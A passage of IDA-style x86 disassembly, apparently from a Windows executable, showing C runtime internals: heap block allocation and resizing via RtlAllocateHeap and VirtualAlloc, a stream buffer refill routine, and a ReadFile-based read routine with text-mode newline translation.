		call	sub_41A686
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41A46B


loc_41A457:				; CODE XREF: sub_41A37D:loc_41A42Fj
					; sub_41A37D:loc_41A447j
		push	ebx
		call	sub_41A737
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41A472


loc_41A46B:				; CODE XREF: sub_41A37D+D8j
		xor	eax, eax
		jmp	loc_41A681
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A37D+7Aj
					; sub_41A37D:loc_41A417j ...
		mov	dword_4D9D50, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41A499
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A4D0


loc_41A499:				; CODE XREF: sub_41A37D+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41A4CD


loc_41A4B6:				; CODE XREF: sub_41A37D+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41A4B6


loc_41A4CD:				; CODE XREF: sub_41A37D+137j
		mov	edx, [ebp+var_4]


loc_41A4D0:				; CODE XREF: sub_41A37D+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41A4F9
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41A4F9:				; CODE XREF: sub_41A37D+16Dj
					; sub_41A37D+183j
		test	ecx, ecx
		jl	short loc_41A502
		shl	ecx, 1
		inc	edi
		jmp	short loc_41A4F9
; ---------------------------------------------------------------------------


loc_41A502:				; CODE XREF: sub_41A37D+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41A51F
		push	3Fh
		pop	esi


loc_41A51F:				; CODE XREF: sub_41A37D+19Dj
		cmp	esi, edi
		jz	loc_41A634
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A590
		cmp	edi, 20h
		jge	short loc_41A55F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41A58D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41A590
; ---------------------------------------------------------------------------


loc_41A55F:				; CODE XREF: sub_41A37D+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41A58D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41A590
; ---------------------------------------------------------------------------


loc_41A58D:				; CODE XREF: sub_41A37D+1D6j
					; sub_41A37D+203j
		mov	ebx, [ebp+arg_0]


loc_41A590:				; CODE XREF: sub_41A37D+1B0j
					; sub_41A37D+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41A640
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A631
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41A602
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A5F0
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41A5F0:				; CODE XREF: sub_41A37D+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41A631
; ---------------------------------------------------------------------------


loc_41A602:				; CODE XREF: sub_41A37D+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A61B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41A61B:				; CODE XREF: sub_41A37D+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41A631:				; CODE XREF: sub_41A37D+24Ej
					; sub_41A37D+283j
		mov	ecx, [ebp+var_8]


loc_41A634:				; CODE XREF: sub_41A37D+1A4j
		test	ecx, ecx
		jz	short loc_41A643
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41A643
; ---------------------------------------------------------------------------


loc_41A640:				; CODE XREF: sub_41A37D+229j
		mov	ecx, [ebp+var_8]


loc_41A643:				; CODE XREF: sub_41A37D+2B9j
					; sub_41A37D+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41A679
		cmp	ebx, dword_4D9D54
		jnz	short loc_41A679
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4D9D4C
		jnz	short loc_41A679
		and	dword_4D9D54, 0


loc_41A679:				; CODE XREF: sub_41A37D+2E0j
					; sub_41A37D+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41A681:				; CODE XREF: sub_41A37D+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A37D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A686	proc near		; CODE XREF: sub_41A37D+CCp
		mov	eax, dword_4D9D58
		mov	ecx, dword_4D9D48
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41A6C9
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4D9D5C
		push	edi
		push	dword_4D9D60
		call	dword_42317C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41A719
		add	dword_4D9D48, 10h
		mov	dword_4D9D5C, eax
		mov	eax, dword_4D9D58


loc_41A6C9:				; CODE XREF: sub_41A686+11j
		mov	ecx, dword_4D9D5C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4D9D60
		lea	esi, [ecx+eax*4]
		call	dword_423180	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41A719
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4231A8	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41A71D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4D9D60
		call	dword_423178	; RtlFreeHeap


loc_41A719:				; CODE XREF: sub_41A686+30j
					; sub_41A686+67j
		xor	eax, eax
		jmp	short loc_41A734
; ---------------------------------------------------------------------------


loc_41A71D:				; CODE XREF: sub_41A686+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4D9D58
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41A734:				; CODE XREF: sub_41A686+95j
		pop	edi
		pop	esi
		retn
sub_41A686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A737	proc near		; CODE XREF: sub_41A37D+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41A749:				; CODE XREF: sub_41A737+19j
		test	eax, eax
		jl	short loc_41A752
		shl	eax, 1
		inc	ebx
		jmp	short loc_41A749
; ---------------------------------------------------------------------------


loc_41A752:				; CODE XREF: sub_41A737+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41A767:				; CODE XREF: sub_41A737+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41A767
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4231A8	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41A79A
		or	eax, 0FFFFFFFFh
		jmp	loc_41A82D
; ---------------------------------------------------------------------------


loc_41A79A:				; CODE XREF: sub_41A737+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41A7E0
		lea	eax, [edi+10h]


loc_41A7A7:				; CODE XREF: sub_41A737+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41A7A7


loc_41A7E0:				; CODE XREF: sub_41A737+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41A81D
		or	[eax+4], edi


loc_41A81D:				; CODE XREF: sub_41A737+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41A82D:				; CODE XREF: sub_41A737+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A737	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A832	proc near		; CODE XREF: sub_4178D8+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41A9E0
		test	bl, 1
		jnz	loc_41A9D9
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41A9D9
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41A8A9
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41A8A9:				; CODE XREF: sub_41A832+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41A8F9
		cmp	ecx, 20h
		jnb	short loc_41A8D5
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A8F9
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A8F9
; ---------------------------------------------------------------------------


loc_41A8D5:				; CODE XREF: sub_41A832+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A8F9
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A8F9:				; CODE XREF: sub_41A832+7Dj
					; sub_41A832+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41A9C7
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41A933
		push	3Fh
		pop	edi


loc_41A933:				; CODE XREF: sub_41A832+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41A9B5
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41A98C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A97F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A97F:				; CODE XREF: sub_41A832+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41A9B1
; ---------------------------------------------------------------------------


loc_41A98C:				; CODE XREF: sub_41A832+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A9A2
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A9A2:				; CODE XREF: sub_41A832+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41A9B1:				; CODE XREF: sub_41A832+158j
		shr	edx, cl
		or	[eax], edx


loc_41A9B5:				; CODE XREF: sub_41A832+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41A9CA
; ---------------------------------------------------------------------------


loc_41A9C7:				; CODE XREF: sub_41A832+E5j
		mov	edx, [ebp+arg_4]


loc_41A9CA:				; CODE XREF: sub_41A832+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41AB20
; ---------------------------------------------------------------------------


loc_41A9D9:				; CODE XREF: sub_41A832+52j
					; sub_41A832+5Cj
		xor	eax, eax
		jmp	loc_41AB23
; ---------------------------------------------------------------------------


loc_41A9E0:				; CODE XREF: sub_41A832+49j
		jge	loc_41AB20
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41AA0B
		push	3Fh
		pop	esi


loc_41AA0B:				; CODE XREF: sub_41A832+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41AA9A
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41AA24
		push	3Fh
		pop	esi


loc_41AA24:				; CODE XREF: sub_41A832+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41AA73
		cmp	esi, 20h
		jnb	short loc_41AA4F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41AA70
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AA70
; ---------------------------------------------------------------------------


loc_41AA4F:				; CODE XREF: sub_41A832+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AA70
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AA70:				; CODE XREF: sub_41A832+214j
					; sub_41A832+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41AA73:				; CODE XREF: sub_41A832+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41AA9A
		push	3Fh
		pop	esi


loc_41AA9A:				; CODE XREF: sub_41A832+1DDj
					; sub_41A832+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AB17
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41AAEE
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AAE1
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41AAE1:				; CODE XREF: sub_41A832+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41AB13
; ---------------------------------------------------------------------------


loc_41AAEE:				; CODE XREF: sub_41A832+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AB04
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41AB04:				; CODE XREF: sub_41A832+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41AB13:				; CODE XREF: sub_41A832+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41AB17:				; CODE XREF: sub_41A832+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41AB20:				; CODE XREF: sub_41A832+1A2j
					; sub_41A832:loc_41A9E0j
		push	1
		pop	eax


loc_41AB23:				; CODE XREF: sub_41A832+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A832	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB28	proc near		; CODE XREF: sub_4177F0+A9p
					; sub_41805F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41ABFC
		test	al, 40h
		jnz	loc_41ABFC
		test	al, 2
		jz	short loc_41AB4E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41ABFC
; ---------------------------------------------------------------------------


loc_41AB4E:				; CODE XREF: sub_41AB28+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41AB62
		push	esi
		call	sub_41F4D0
		pop	ecx
		jmp	short loc_41AB67
; ---------------------------------------------------------------------------


loc_41AB62:				; CODE XREF: sub_41AB28+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41AB67:				; CODE XREF: sub_41AB28+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41AC01
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41ABEB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABEB
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41ABC0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41ABA9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4D9A20[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41ABAE
; ---------------------------------------------------------------------------


loc_41ABA9:				; CODE XREF: sub_41AB28+6Bj
		mov	edi, offset dword_43B1E0


loc_41ABAE:				; CODE XREF: sub_41AB28+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41ABC0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41ABC0:				; CODE XREF: sub_41AB28+62j
					; sub_41AB28+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41ABDD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41ABDD
		test	ch, 4
		jnz	short loc_41ABDD
		mov	dword ptr [esi+18h], 1000h


loc_41ABDD:				; CODE XREF: sub_41AB28+9Fj
					; sub_41AB28+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41ABEB:				; CODE XREF: sub_41AB28+55j
					; sub_41AB28+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41ABFC:				; CODE XREF: sub_41AB28+Aj
					; sub_41AB28+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41AB28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC01	proc near		; CODE XREF: sub_4177F0+90p
					; sub_41AB28+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4D9B20
		jnb	loc_41ADDE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4D9A20h[eax*4]
		mov	eax, dword_4D9A20[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41ADDE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41ACB6
		test	dl, 2
		jnz	short loc_41ACB6
		test	dl, 48h
		jz	short loc_41AC76
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41AC76
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41AC76:				; CODE XREF: sub_41AC01+56j
					; sub_41AC01+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jnz	short loc_41ACC9
		call	dword_42308C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41ACB1
		mov	dword_4D86D0, 9
		mov	dword_4D86D4, ecx
		jmp	loc_41ADEF
; ---------------------------------------------------------------------------


loc_41ACB1:				; CODE XREF: sub_41AC01+99j
		cmp	eax, 6Dh
		jnz	short loc_41ACBD


loc_41ACB6:				; CODE XREF: sub_41AC01+4Cj
					; sub_41AC01+51j
		xor	eax, eax
		jmp	loc_41ADF2
; ---------------------------------------------------------------------------


loc_41ACBD:				; CODE XREF: sub_41AC01+B3j
		push	eax
		call	sub_41BEC4
		pop	ecx
		jmp	loc_41ADEF
; ---------------------------------------------------------------------------


loc_41ACC9:				; CODE XREF: sub_41AC01+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41ADD9
		test	edx, edx
		jz	short loc_41ACEE
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41ACEE
		or	al, 4
		jmp	short loc_41ACF0
; ---------------------------------------------------------------------------


loc_41ACEE:				; CODE XREF: sub_41AC01+E2j
					; sub_41AC01+E7j
		and	al, 0FBh


loc_41ACF0:				; CODE XREF: sub_41AC01+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41ADD3


loc_41AD08:				; CODE XREF: sub_41AC01+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41ADC3
		cmp	al, 0Dh
		jz	short loc_41AD24
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD24:				; CODE XREF: sub_41AC01+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41AD42
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41AD39
		add	[ebp+arg_8], 2
		jmp	short loc_41AD97
; ---------------------------------------------------------------------------


loc_41AD39:				; CODE XREF: sub_41AC01+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AC01+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jnz	short loc_41AD6A
		call	dword_42308C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41ADB1


loc_41AD6A:				; CODE XREF: sub_41AC01+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41ADB1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41AD8C
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41AD97
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD8C:				; CODE XREF: sub_41AC01+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41AD9C
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41AD9C


loc_41AD97:				; CODE XREF: sub_41AC01+136j
					; sub_41AC01+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41ADB4
; ---------------------------------------------------------------------------


loc_41AD9C:				; CODE XREF: sub_41AC01+18Ej
					; sub_41AC01+194j
		push	1
		push	0FFFFFFFFh
